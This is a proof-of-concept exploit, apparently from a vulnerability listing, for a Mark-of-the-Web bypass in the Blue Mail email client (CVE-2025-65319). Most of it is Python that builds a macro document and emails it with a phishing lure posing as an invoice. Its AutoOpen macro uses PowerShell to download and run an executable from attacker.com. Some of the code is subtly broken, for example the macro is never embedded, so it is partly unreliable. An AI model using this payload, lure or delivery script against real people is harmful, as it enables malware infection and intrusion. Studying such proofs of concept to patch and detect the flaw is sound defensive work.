CVE-2025-65319 Blue Mail附件保存缺失Mark-of-the-Web安全绕过漏洞

# CVE-2025-65319 PoC - Blue Mail MotW Bypass # This PoC demonstrates the Mark-of-the-Web bypass vulnerability in Blue Mail import smtplib from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email import encoders def create_malicious_document(): """Create a malicious document with embedded payload""" # Create an Office document with malicious macro doc_content = b'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <w:body> <w:p> <w:r> <w:t>Malicious Document - Auto-executing Macro</w:t> </w:r> </w:p> </w:body> </w:document>''' # Malicious macro code macro_code = '''Sub AutoOpen() Shell "cmd.exe /c powershell -Command \"Invoke-WebRequest -Uri 'http://attacker.com/shell.exe' -OutFile 'C:\\Users\\Public\\Downloads\\malware.exe'; Start-Process 'C:\\Users\\Public\\Downloads\\malware.exe'\"" End Sub''' return doc_content, macro_code def send_malicious_email(target_email, smtp_server, smtp_port): """Send email with malicious attachment via Blue Mail vulnerable endpoint""" msg = MIMEMultipart() msg['From'] = '[email protected]' msg['To'] = target_email msg['Subject'] = 'Important Document - Please Review' # Email body with social engineering body = '''Hi, Please find attached the document you requested. Save and open the file to view the contents. Best regards, Support Team''' msg.attach(body) # Attach malicious document attachment = MIMEBase('application', 'octet-stream') doc_content, _ = create_malicious_document() attachment.set_payload(doc_content) encoders.encode_base64(attachment) attachment.add_header('Content-Disposition', 'attachment', filename='Invoice_Document.docm') msg.attach(attachment) # Send email try: server = smtplib.SMTP(smtp_server, smtp_port) server.send_message(msg) server.quit() print('[+] Malicious email sent successfully') print('[+] Attachment will bypass MotW when saved via Blue Mail') except Exception as e: print(f'[-] Error sending email: {e}') def verify_motw_bypass(file_path): """Verify if file lacks Mark-of-the-Web marker""" try: import win32com.client import pythoncom # Initialize COM pythoncom.CoInitialize() # Check for Zone.Identifier alternate data stream ads_path = file_path + ':Zone.Identifier' try: with open(ads_path, 'r') as f: content = f.read() if 'ZoneID=3' in content: print('[-] File has MotW marker - Protected') return False except FileNotFoundError: print('[+] File lacks MotW marker - VULNERABLE') return True pythoncom.CoUninitialize() except ImportError: print('[!] win32com not available - manual verification required') return None if __name__ == '__main__': print('CVE-2025-65319 PoC - Blue Mail MotW Bypass') print('=' * 50) # Configuration TARGET_EMAIL = '[email protected]' SMTP_SERVER = 'mail.attacker.com' SMTP_PORT = 587 # Send malicious email send_malicious_email(TARGET_EMAIL, SMTP_SERVER, SMTP_PORT) print('\nAttack Flow:') print('1. Attacker sends email with malicious document') print('2. Victim uses Blue Mail to save attachment') print('3. File saved WITHOUT Mark-of-the-Web marker') print('4. Victim opens file - no SmartScreen warning') print('5. Malicious macro/code executes with user privileges')